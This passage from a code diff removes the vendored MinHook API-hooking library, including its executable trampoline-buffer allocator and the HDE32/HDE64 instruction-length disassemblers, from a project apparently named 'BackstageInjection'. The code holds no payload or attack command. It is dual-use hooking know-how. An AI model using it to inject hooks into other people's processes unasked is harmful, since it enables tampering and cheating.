VirtualFree(pBlock, 0, MEM_RELEASE);
pBlock = pNext;
}
}
//-------------------------------------------------------------------------
#if defined(_M_X64) || defined(__x86_64__)
static LPVOID FindPrevFreeRegion(LPVOID pAddress, LPVOID pMinAddr, DWORD dwAllocationGranularity)
{
ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
// Round down to the allocation granularity.
tryAddr -= tryAddr % dwAllocationGranularity;
// Start from the previous allocation granularity multiply.
tryAddr -= dwAllocationGranularity;
while (tryAddr >= (ULONG_PTR)pMinAddr)
{
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
break;
if (mbi.State == MEM_FREE)
return (LPVOID)tryAddr;
if ((ULONG_PTR)mbi.AllocationBase < dwAllocationGranularity)
break;
tryAddr = (ULONG_PTR)mbi.AllocationBase - dwAllocationGranularity;
}
return NULL;
}
#endif
//-------------------------------------------------------------------------
#if defined(_M_X64) || defined(__x86_64__)
static LPVOID FindNextFreeRegion(LPVOID pAddress, LPVOID pMaxAddr, DWORD dwAllocationGranularity)
{
ULONG_PTR tryAddr = (ULONG_PTR)pAddress;
// Round down to the allocation granularity.
tryAddr -= tryAddr % dwAllocationGranularity;
// Start from the next allocation granularity multiply.
tryAddr += dwAllocationGranularity;
while (tryAddr <= (ULONG_PTR)pMaxAddr)
{
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery((LPVOID)tryAddr, &mbi, sizeof(mbi)) == 0)
break;
if (mbi.State == MEM_FREE)
return (LPVOID)tryAddr;
tryAddr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize;
// Round up to the next allocation granularity.
tryAddr += dwAllocationGranularity - 1;
tryAddr -= tryAddr % dwAllocationGranularity;
}
return NULL;
}
#endif
//-------------------------------------------------------------------------
static PMEMORY_BLOCK GetMemoryBlock(LPVOID pOrigin)
{
PMEMORY_BLOCK pBlock;
#if defined(_M_X64) || defined(__x86_64__)
ULONG_PTR minAddr;
ULONG_PTR maxAddr;
SYSTEM_INFO si;
GetSystemInfo(&si);
minAddr = (ULONG_PTR)si.lpMinimumApplicationAddress;
maxAddr = (ULONG_PTR)si.lpMaximumApplicationAddress;
// pOrigin ± 512MB
if ((ULONG_PTR)pOrigin > MAX_MEMORY_RANGE && minAddr < (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE)
minAddr = (ULONG_PTR)pOrigin - MAX_MEMORY_RANGE;
if (maxAddr > (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE)
maxAddr = (ULONG_PTR)pOrigin + MAX_MEMORY_RANGE;
// Make room for MEMORY_BLOCK_SIZE bytes.
maxAddr -= MEMORY_BLOCK_SIZE - 1;
#endif
// Look the registered blocks for a reachable one.
for (pBlock = g_pMemoryBlocks; pBlock != NULL; pBlock = pBlock->pNext)
{
#if defined(_M_X64) || defined(__x86_64__)
// Ignore the blocks too far.
if ((ULONG_PTR)pBlock < minAddr || (ULONG_PTR)pBlock >= maxAddr)
continue;
#endif
// The block has at least one unused slot.
if (pBlock->pFree != NULL)
return pBlock;
}
#if defined(_M_X64) || defined(__x86_64__)
// Alloc a new block above if not found.
{
LPVOID pAlloc = pOrigin;
while ((ULONG_PTR)pAlloc >= minAddr)
{
pAlloc = FindPrevFreeRegion(pAlloc, (LPVOID)minAddr, si.dwAllocationGranularity);
if (pAlloc == NULL)
break;
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pBlock != NULL)
break;
}
}
// Alloc a new block below if not found.
if (pBlock == NULL)
{
LPVOID pAlloc = pOrigin;
while ((ULONG_PTR)pAlloc <= maxAddr)
{
pAlloc = FindNextFreeRegion(pAlloc, (LPVOID)maxAddr, si.dwAllocationGranularity);
if (pAlloc == NULL)
break;
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
pAlloc, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pBlock != NULL)
break;
}
}
#else
// In x86 mode, a memory block can be placed anywhere.
pBlock = (PMEMORY_BLOCK)VirtualAlloc(
NULL, MEMORY_BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
#endif
if (pBlock != NULL)
{
// Build a linked list of all the slots.
PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBlock + 1;
pBlock->pFree = NULL;
pBlock->usedCount = 0;
do
{
pSlot->pNext = pBlock->pFree;
pBlock->pFree = pSlot;
pSlot++;
} while ((ULONG_PTR)pSlot - (ULONG_PTR)pBlock <= MEMORY_BLOCK_SIZE - MEMORY_SLOT_SIZE);
pBlock->pNext = g_pMemoryBlocks;
g_pMemoryBlocks = pBlock;
}
return pBlock;
}
//-------------------------------------------------------------------------
LPVOID AllocateBuffer(LPVOID pOrigin)
{
PMEMORY_SLOT pSlot;
PMEMORY_BLOCK pBlock = GetMemoryBlock(pOrigin);
if (pBlock == NULL)
return NULL;
// Remove an unused slot from the list.
pSlot = pBlock->pFree;
pBlock->pFree = pSlot->pNext;
pBlock->usedCount++;
#ifdef _DEBUG
// Fill the slot with INT3 for debugging.
memset(pSlot, 0xCC, sizeof(MEMORY_SLOT));
#endif
return pSlot;
}
//-------------------------------------------------------------------------
VOID FreeBuffer(LPVOID pBuffer)
{
PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
PMEMORY_BLOCK pPrev = NULL;
ULONG_PTR pTargetBlock = ((ULONG_PTR)pBuffer / MEMORY_BLOCK_SIZE) * MEMORY_BLOCK_SIZE;
while (pBlock != NULL)
{
if ((ULONG_PTR)pBlock == pTargetBlock)
{
PMEMORY_SLOT pSlot = (PMEMORY_SLOT)pBuffer;
#ifdef _DEBUG
// Clear the released slot for debugging.
memset(pSlot, 0x00, sizeof(MEMORY_SLOT));
#endif
// Restore the released slot to the list.
pSlot->pNext = pBlock->pFree;
pBlock->pFree = pSlot;
pBlock->usedCount--;
// Free if unused.
if (pBlock->usedCount == 0)
{
if (pPrev)
pPrev->pNext = pBlock->pNext;
else
g_pMemoryBlocks = pBlock->pNext;
VirtualFree(pBlock, 0, MEM_RELEASE);
}
break;
}
pPrev = pBlock;
pBlock = pBlock->pNext;
}
}
//-------------------------------------------------------------------------
BOOL IsExecutableAddress(LPVOID pAddress)
{
MEMORY_BASIC_INFORMATION mi;
VirtualQuery(pAddress, &mi, sizeof(mi));
return (mi.State == MEM_COMMIT && (mi.Protect & PAGE_EXECUTE_FLAGS));
}
BackstageInjection/Minhook/src/buffer.h
-42
View File
@@ -1,42 +0,0 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
// Size of each memory slot.
#if defined(_M_X64) || defined(__x86_64__)
#define MEMORY_SLOT_SIZE 64
#else
#define MEMORY_SLOT_SIZE 32
#endif
VOID InitializeBuffer(VOID);
VOID UninitializeBuffer(VOID);
LPVOID AllocateBuffer(LPVOID pOrigin);
VOID FreeBuffer(LPVOID pBuffer);
BOOL IsExecutableAddress(LPVOID pAddress);
BackstageInjection/Minhook/src/hde/hde32.c
-324
View File
@@ -1,324 +0,0 @@
/*
* Hacker Disassembler Engine 32 C
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
*/
#if defined(_M_IX86) || defined(__i386__)
#include <string.h>
#include "hde32.h"
#include "table32.h"
unsigned int hde32_disasm(const void *code, hde32s *hs)
{
uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
uint8_t *ht = hde32_table, m_mod, m_reg, m_rm, disp_size = 0;
memset(hs, 0, sizeof(hde32s));
for (x = 16; x; x--)
switch (c = *p++) {
case 0xf3:
hs->p_rep = c;
pref |= PRE_F3;
break;
case 0xf2:
hs->p_rep = c;
pref |= PRE_F2;
break;
case 0xf0:
hs->p_lock = c;
pref |= PRE_LOCK;
break;
case 0x26: case 0x2e: case 0x36:
case 0x3e: case 0x64: case 0x65:
hs->p_seg = c;
pref |= PRE_SEG;
break;
case 0x66:
hs->p_66 = c;
pref |= PRE_66;
break;
case 0x67:
hs->p_67 = c;
pref |= PRE_67;
break;
default:
goto pref_done;
}
pref_done:
hs->flags = (uint32_t)pref << 23;
if (!pref)
pref |= PRE_NONE;
if ((hs->opcode = c) == 0x0f) {
hs->opcode2 = c = *p++;
ht += DELTA_OPCODES;
} else if (c >= 0xa0 && c <= 0xa3) {
if (pref & PRE_67)
pref |= PRE_66;
else
pref &= ~PRE_66;
}
opcode = c;
cflags = ht[ht[opcode / 4] + (opcode % 4)];
if (cflags == C_ERROR) {
hs->flags |= F_ERROR | F_ERROR_OPCODE;
cflags = 0;
if ((opcode & -3) == 0x24)
cflags++;
}
x = 0;
if (cflags & C_GROUP) {
uint16_t t;
t = *(uint16_t *)(ht + (cflags & 0x7f));
cflags = (uint8_t)t;
x = (uint8_t)(t >> 8);
}
if (hs->opcode2) {
ht = hde32_table + DELTA_PREFIXES;
if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
hs->flags |= F_ERROR | F_ERROR_OPCODE;
}
if (cflags & C_MODRM) {
hs->flags |= F_MODRM;
hs->modrm = c = *p++;
hs->modrm_mod = m_mod = c >> 6;
hs->modrm_rm = m_rm = c & 7;
hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
if (x && ((x << m_reg) & 0x80))
hs->flags |= F_ERROR | F_ERROR_OPCODE;
if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
uint8_t t = opcode - 0xd9;
if (m_mod == 3) {
ht = hde32_table + DELTA_FPU_MODRM + t*8;
t = ht[m_reg] << m_rm;
} else {
ht = hde32_table + DELTA_FPU_REG;
t = ht[t] << m_reg;
}
if (t & 0x80)
hs->flags |= F_ERROR | F_ERROR_OPCODE;
}
if (pref & PRE_LOCK) {
if (m_mod == 3) {
hs->flags |= F_ERROR | F_ERROR_LOCK;
} else {
uint8_t *table_end, op = opcode;
if (hs->opcode2) {
ht = hde32_table + DELTA_OP2_LOCK_OK;
table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
} else {
ht = hde32_table + DELTA_OP_LOCK_OK;
table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
op &= -2;
}
for (; ht != table_end; ht++)
if (*ht++ == op) {
if (!((*ht << m_reg) & 0x80))
goto no_lock_error;
else
break;
}
hs->flags |= F_ERROR | F_ERROR_LOCK;
no_lock_error:
;
}
}
if (hs->opcode2) {
switch (opcode) {
case 0x20: case 0x22:
m_mod = 3;
if (m_reg > 4 || m_reg == 1)
goto error_operand;
else
goto no_error_operand;
case 0x21: case 0x23:
m_mod = 3;
if (m_reg == 4 || m_reg == 5)
goto error_operand;
else
goto no_error_operand;
}
} else {
switch (opcode) {
case 0x8c:
if (m_reg > 5)
goto error_operand;
else
goto no_error_operand;
case 0x8e:
if (m_reg == 1 || m_reg > 5)
goto error_operand;
else
goto no_error_operand;
}
}
if (m_mod == 3) {
uint8_t *table_end;
if (hs->opcode2) {
ht = hde32_table + DELTA_OP2_ONLY_MEM;
table_end = ht + sizeof(hde32_table) - DELTA_OP2_ONLY_MEM;
} else {
ht = hde32_table + DELTA_OP_ONLY_MEM;
table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
}
for (; ht != table_end; ht += 2)
if (*ht++ == opcode) {
if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
goto error_operand;
else
break;
}
goto no_error_operand;
} else if (hs->opcode2) {
switch (opcode) {
case 0x50: case 0xd7: case 0xf7:
if (pref & (PRE_NONE | PRE_66))
goto error_operand;
break;
case 0xd6:
if (pref & (PRE_F2 | PRE_F3))
goto error_operand;
break;
case 0xc5:
goto error_operand;
}
goto no_error_operand;
} else
goto no_error_operand;
error_operand:
hs->flags |= F_ERROR | F_ERROR_OPERAND;
no_error_operand:
c = *p++;
if (m_reg <= 1) {
if (opcode == 0xf6)
cflags |= C_IMM8;
else if (opcode == 0xf7)
cflags |= C_IMM_P66;
}
switch (m_mod) {
case 0:
if (pref & PRE_67) {
if (m_rm == 6)
disp_size = 2;
} else
if (m_rm == 5)
disp_size = 4;
break;
case 1:
disp_size = 1;
break;
case 2:
disp_size = 2;
if (!(pref & PRE_67))
disp_size <<= 1;
break;
}
if (m_mod != 3 && m_rm == 4 && !(pref & PRE_67)) {
hs->flags |= F_SIB;
p++;
hs->sib = c;
hs->sib_scale = c >> 6;
hs->sib_index = (c & 0x3f) >> 3;
if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
disp_size = 4;
}
p--;
switch (disp_size) {
case 1:
hs->flags |= F_DISP8;
hs->disp.disp8 = *p;
break;
case 2:
hs->flags |= F_DISP16;
hs->disp.disp16 = *(uint16_t *)p;
break;
case 4:
hs->flags |= F_DISP32;
hs->disp.disp32 = *(uint32_t *)p;
break;
}
p += disp_size;
} else if (pref & PRE_LOCK)
hs->flags |= F_ERROR | F_ERROR_LOCK;
if (cflags & C_IMM_P66) {
if (cflags & C_REL32) {
if (pref & PRE_66) {
hs->flags |= F_IMM16 | F_RELATIVE;
hs->imm.imm16 = *(uint16_t *)p;
p += 2;
goto disasm_done;
}
goto rel32_ok;
}
if (pref & PRE_66) {
hs->flags |= F_IMM16;
hs->imm.imm16 = *(uint16_t *)p;
p += 2;
} else {
hs->flags |= F_IMM32;
hs->imm.imm32 = *(uint32_t *)p;
p += 4;
}
}
if (cflags & C_IMM16) {
if (hs->flags & F_IMM32) {
hs->flags |= F_IMM16;
hs->disp.disp16 = *(uint16_t *)p;
} else if (hs->flags & F_IMM16) {
hs->flags |= F_2IMM16;
hs->disp.disp16 = *(uint16_t *)p;
} else {
hs->flags |= F_IMM16;
hs->imm.imm16 = *(uint16_t *)p;
}
p += 2;
}
if (cflags & C_IMM8) {
hs->flags |= F_IMM8;
hs->imm.imm8 = *p++;
}
if (cflags & C_REL32) {
rel32_ok:
hs->flags |= F_IMM32 | F_RELATIVE;
hs->imm.imm32 = *(uint32_t *)p;
p += 4;
} else if (cflags & C_REL8) {
hs->flags |= F_IMM8 | F_RELATIVE;
hs->imm.imm8 = *p++;
}
disasm_done:
if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
hs->flags |= F_ERROR | F_ERROR_LENGTH;
hs->len = 15;
}
return (unsigned int)hs->len;
}
#endif // defined(_M_IX86) || defined(__i386__)
BackstageInjection/Minhook/src/hde/hde32.h
-105
View File
@@ -1,105 +0,0 @@
/*
* Hacker Disassembler Engine 32
* Copyright (c) 2006-2009, Vyacheslav Patkov.
* All rights reserved.
*
* hde32.h: C/C++ header file
*
*/
#ifndef _HDE32_H_
#define _HDE32_H_
/* stdint.h - C99 standard header
* http://en.wikipedia.org/wiki/stdint.h
*
* if your compiler doesn't contain "stdint.h" header (for
* example, Microsoft Visual C++), you can download file:
* http://www.azillionmonkeys.com/qed/pstdint.h
* and change next line to:
* #include "pstdint.h"
*/
#include "pstdint.h"
#define F_MODRM 0x00000001
#define F_SIB 0x00000002
#define F_IMM8 0x00000004
#define F_IMM16 0x00000008
#define F_IMM32 0x00000010
#define F_DISP8 0x00000020
#define F_DISP16 0x00000040
#define F_DISP32 0x00000080
#define F_RELATIVE 0x00000100
#define F_2IMM16 0x00000800
#define F_ERROR 0x00001000
#define F_ERROR_OPCODE 0x00002000
#define F_ERROR_LENGTH 0x00004000
#define F_ERROR_LOCK 0x00008000
#define F_ERROR_OPERAND 0x00010000
#define F_PREFIX_REPNZ 0x01000000
#define F_PREFIX_REPX 0x02000000
#define F_PREFIX_REP 0x03000000
#define F_PREFIX_66 0x04000000
#define F_PREFIX_67 0x08000000
#define F_PREFIX_LOCK 0x10000000
#define F_PREFIX_SEG 0x20000000
#define F_PREFIX_ANY 0x3f000000
#define PREFIX_SEGMENT_CS 0x2e
#define PREFIX_SEGMENT_SS 0x36
#define PREFIX_SEGMENT_DS 0x3e
#define PREFIX_SEGMENT_ES 0x26
#define PREFIX_SEGMENT_FS 0x64
#define PREFIX_SEGMENT_GS 0x65
#define PREFIX_LOCK 0xf0
#define PREFIX_REPNZ 0xf2
#define PREFIX_REPX 0xf3
#define PREFIX_OPERAND_SIZE 0x66
#define PREFIX_ADDRESS_SIZE 0x67
#pragma pack(push,1)
typedef struct {
uint8_t len;
uint8_t p_rep;
uint8_t p_lock;
uint8_t p_seg;
uint8_t p_66;
uint8_t p_67;
uint8_t opcode;
uint8_t opcode2;
uint8_t modrm;
uint8_t modrm_mod;
uint8_t modrm_reg;
uint8_t modrm_rm;
uint8_t sib;
uint8_t sib_scale;
uint8_t sib_index;
uint8_t sib_base;
union {
uint8_t imm8;
uint16_t imm16;
uint32_t imm32;
} imm;
union {
uint8_t disp8;
uint16_t disp16;
uint32_t disp32;
} disp;
uint32_t flags;
} hde32s;
#pragma pack(pop)
#ifdef __cplusplus
extern "C" {
#endif
/* __cdecl */
unsigned int hde32_disasm(const void *code, hde32s *hs);
#ifdef __cplusplus
}
#endif
#endif /* _HDE32_H_ */
BackstageInjection/Minhook/src/hde/hde64.c
-335
View File
@@ -1,335 +0,0 @@
/*
* Hacker Disassembler Engine 64 C
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
*/
#if defined(_M_X64) || defined(__x86_64__)
#include <string.h>
#include "hde64.h"
#include "table64.h"
unsigned int hde64_disasm(const void *code, hde64s *hs)
{
uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;
uint8_t op64 = 0;
memset(hs, 0, sizeof(hde64s));
for (x = 16; x; x--)
switch (c = *p++) {
case 0xf3:
hs->p_rep = c;
pref |= PRE_F3;
break;
case 0xf2:
hs->p_rep = c;
pref |= PRE_F2;
break;
case 0xf0:
hs->p_lock = c;
pref |= PRE_LOCK;
break;
case 0x26: case 0x2e: case 0x36:
case 0x3e: case 0x64: case 0x65:
hs->p_seg = c;
pref |= PRE_SEG;
break;
case 0x66:
hs->p_66 = c;
pref |= PRE_66;
break;
case 0x67:
hs->p_67 = c;
pref |= PRE_67;
break;
default:
goto pref_done;
}
pref_done:
hs->flags = (uint32_t)pref << 23;
if (!pref)
pref |= PRE_NONE;
if ((c & 0xf0) == 0x40) {
hs->flags |= F_PREFIX_REX;
if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
op64++;
hs->rex_r = (c & 7) >> 2;
hs->rex_x = (c & 3) >> 1;
hs->rex_b = c & 1;
if (((c = *p++) & 0xf0) == 0x40) {
opcode = c;
goto error_opcode;
}
}
if ((hs->opcode = c) == 0x0f) {
hs->opcode2 = c = *p++;
ht += DELTA_OPCODES;
} else if (c >= 0xa0 && c <= 0xa3) {
op64++;
if (pref & PRE_67)
pref |= PRE_66;
else
pref &= ~PRE_66;
}
opcode = c;
cflags = ht[ht[opcode / 4] + (opcode % 4)];
if (cflags == C_ERROR) {
error_opcode:
hs->flags |= F_ERROR | F_ERROR_OPCODE;
cflags = 0;
if ((opcode & -3) == 0x24)
cflags++;
}
x = 0;
if (cflags & C_GROUP) {
uint16_t t;
t = *(uint16_t *)(ht + (cflags & 0x7f));
cflags = (uint8_t)t;
x = (uint8_t)(t >> 8);
}
if (hs->opcode2) {
ht = hde64_table + DELTA_PREFIXES;
if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
hs->flags |= F_ERROR | F_ERROR_OPCODE;
}
if (cflags & C_MODRM) {
hs->flags |= F_MODRM;
hs->modrm = c = *p++;
hs->modrm_mod = m_mod = c >> 6;
hs->modrm_rm = m_rm = c & 7;
hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
if (x && ((x << m_reg) & 0x80))
hs->flags |= F_ERROR | F_ERROR_OPCODE;
if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
uint8_t t = opcode - 0xd9;
if (m_mod == 3) {
ht = hde64_table + DELTA_FPU_MODRM + t*8;
t = ht[m_reg] << m_rm;
} else {
ht = hde64_table + DELTA_FPU_REG;
t = ht[t] << m_reg;
}
if (t & 0x80)
hs->flags |= F_ERROR | F_ERROR_OPCODE;
}
if (pref & PRE_LOCK) {
if (m_mod == 3) {
hs->flags |= F_ERROR | F_ERROR_LOCK;
} else {
uint8_t *table_end, op = opcode;
if (hs->opcode2) {
ht = hde64_table + DELTA_OP2_LOCK_OK;
table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
} else {
ht = hde64_table + DELTA_OP_LOCK_OK;
table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
op &= -2;
}
for (; ht != table_end; ht++)
if (*ht++ == op) {
if (!((*ht << m_reg) & 0x80))
goto no_lock_error;
else
break;
}
hs->flags |= F_ERROR | F_ERROR_LOCK;
no_lock_error:
;
}
}
if (hs->opcode2) {
switch (opcode) {
case 0x20: case 0x22:
m_mod = 3;
if (m_reg > 4 || m_reg == 1)
goto error_operand;
else
goto no_error_operand;
case 0x21: case 0x23:
m_mod = 3;
if (m_reg == 4 || m_reg == 5)
goto error_operand;
else
goto no_error_operand;
}
} else {
switch (opcode) {
case 0x8c:
if (m_reg > 5)
goto error_operand;
else
goto no_error_operand;
case 0x8e:
if (m_reg == 1 || m_reg > 5)
goto error_operand;
else
goto no_error_operand;
}
}
if (m_mod == 3) {
uint8_t *table_end;
if (hs->opcode2) {
ht = hde64_table + DELTA_OP2_ONLY_MEM;
table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;
} else {
ht = hde64_table + DELTA_OP_ONLY_MEM;
table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
}
for (; ht != table_end; ht += 2)
if (*ht++ == opcode) {
if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
goto error_operand;
else
break;
}
goto no_error_operand;
} else if (hs->opcode2) {
switch (opcode) {
case 0x50: case 0xd7: case 0xf7:
if (pref & (PRE_NONE | PRE_66))
goto error_operand;
break;
case 0xd6:
if (pref & (PRE_F2 | PRE_F3))
goto error_operand;
break;
case 0xc5:
goto error_operand;
}
goto no_error_operand;
} else
goto no_error_operand;
error_operand:
hs->flags |= F_ERROR | F_ERROR_OPERAND;
no_error_operand:
c = *p++;
if (m_reg <= 1) {
if (opcode == 0xf6)
cflags |= C_IMM8;
else if (opcode == 0xf7)
cflags |= C_IMM_P66;
}
switch (m_mod) {
case 0:
if (pref & PRE_67) {
if (m_rm == 6)
disp_size = 2;
} else
if (m_rm == 5)
disp_size = 4;
break;
case 1:
disp_size = 1;
break;
case 2:
disp_size = 2;
if (!(pref & PRE_67))
disp_size <<= 1;
break;
}
if (m_mod != 3 && m_rm == 4) {
hs->flags |= F_SIB;
p++;
hs->sib = c;
hs->sib_scale = c >> 6;
hs->sib_index = (c & 0x3f) >> 3;
if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
disp_size = 4;
}
p--;
switch (disp_size) {
case 1:
hs->flags |= F_DISP8;
hs->disp.disp8 = *p;
break;
case 2:
hs->flags |= F_DISP16;
hs->disp.disp16 = *(uint16_t *)p;
break;
case 4:
hs->flags |= F_DISP32;
hs->disp.disp32 = *(uint32_t *)p;
break;
}
p += disp_size;
} else if (pref & PRE_LOCK)
hs->flags |= F_ERROR | F_ERROR_LOCK;
if (cflags & C_IMM_P66) {
if (cflags & C_REL32) {
if (pref & PRE_66) {
hs->flags |= F_IMM16 | F_RELATIVE;
hs->imm.imm16 = *(uint16_t *)p;
p += 2;
goto disasm_done;
}
goto rel32_ok;
}
if (op64) {
hs->flags |= F_IMM64;
hs->imm.imm64 = *(uint64_t *)p;
p += 8;
} else if (!(pref & PRE_66)) {
hs->flags |= F_IMM32;
hs->imm.imm32 = *(uint32_t *)p;
p += 4;
} else
goto imm16_ok;
}
if (cflags & C_IMM16) {
imm16_ok:
hs->flags |= F_IMM16;
hs->imm.imm16 = *(uint16_t *)p;
p += 2;
}
if (cflags & C_IMM8) {
hs->flags |= F_IMM8;
hs->imm.imm8 = *p++;
}
if (cflags & C_REL32) {
rel32_ok:
hs->flags |= F_IMM32 | F_RELATIVE;
hs->imm.imm32 = *(uint32_t *)p;
p += 4;
} else if (cflags & C_REL8) {
hs->flags |= F_IMM8 | F_RELATIVE;
hs->imm.imm8 = *p++;
}
disasm_done:
if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
hs->flags |= F_ERROR | F_ERROR_LENGTH;
hs->len = 15;
}
return (unsigned int)hs->len;
}
#endif // defined(_M_X64) || defined(__x86_64__)
BackstageInjection/Minhook/src/hde/hde64.h
-112
View File
@@ -1,112 +0,0 @@
/*
* Hacker Disassembler Engine 64
* Copyright (c) 2008-2009, Vyacheslav Patkov.
* All rights reserved.
*
* hde64.h: C/C++ header file
*
*/
#ifndef _HDE64_H_
#define _HDE64_H_
/* stdint.h - C99 standard header
* http://en.wikipedia.org/wiki/stdint.h
*
* if your compiler doesn't contain "stdint.h" header (for
* example, Microsoft Visual C++), you can download file:
* http://www.azillionmonkeys.com/qed/pstdint.h
* and change next line to:
* #include "pstdint.h"
*/
#include "pstdint.h"
#define F_MODRM 0x00000001
#define F_SIB 0x00000002
#define F_IMM8 0x00000004
#define F_IMM16 0x00000008
#define F_IMM32 0x00000010
#define F_IMM64 0x00000020
#define F_DISP8 0x00000040
#define F_DISP16 0x00000080
#define F_DISP32 0x00000100
#define F_RELATIVE 0x00000200
#define F_ERROR 0x00001000
#define F_ERROR_OPCODE 0x00002000
#define F_ERROR_LENGTH 0x00004000
#define F_ERROR_LOCK 0x00008000
#define F_ERROR_OPERAND 0x00010000
#define F_PREFIX_REPNZ 0x01000000
#define F_PREFIX_REPX 0x02000000
#define F_PREFIX_REP 0x03000000
#define F_PREFIX_66 0x04000000
#define F_PREFIX_67 0x08000000
#define F_PREFIX_LOCK 0x10000000
#define F_PREFIX_SEG 0x20000000
#define F_PREFIX_REX 0x40000000
#define F_PREFIX_ANY 0x7f000000
#define PREFIX_SEGMENT_CS 0x2e
#define PREFIX_SEGMENT_SS 0x36
#define PREFIX_SEGMENT_DS 0x3e
#define PREFIX_SEGMENT_ES 0x26
#define PREFIX_SEGMENT_FS 0x64
#define PREFIX_SEGMENT_GS 0x65
#define PREFIX_LOCK 0xf0
#define PREFIX_REPNZ 0xf2
#define PREFIX_REPX 0xf3
#define PREFIX_OPERAND_SIZE 0x66
#define PREFIX_ADDRESS_SIZE 0x67
#pragma pack(push,1)
typedef struct {
uint8_t len;
uint8_t p_rep;
uint8_t p_lock;
uint8_t p_seg;
uint8_t p_66;
uint8_t p_67;
uint8_t rex;
uint8_t rex_w;
uint8_t rex_r;
uint8_t rex_x;
uint8_t rex_b;
uint8_t opcode;
uint8_t opcode2;
uint8_t modrm;
uint8_t modrm_mod;
uint8_t modrm_reg;
uint8_t modrm_rm;
uint8_t sib;
uint8_t sib_scale;
uint8_t sib_index;
uint8_t sib_base;
union {
uint8_t imm8;
uint16_t imm16;
uint32_t imm32;
uint64_t imm64;
} imm;
union {
uint8_t disp8;
uint16_t disp16;
uint32_t disp32;
} disp;
uint32_t flags;
} hde64s;
#pragma pack(pop)
#ifdef __cplusplus
extern "C" {
#endif
/* __cdecl */
unsigned int hde64_disasm(const void *code, hde64s *hs);
#ifdef __cplusplus
}
#endif
#endif /* _HDE64_H_ */
BackstageInjection/Minhook/src/hde/pstdint.h
-39
View File
@@ -1,39 +0,0 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
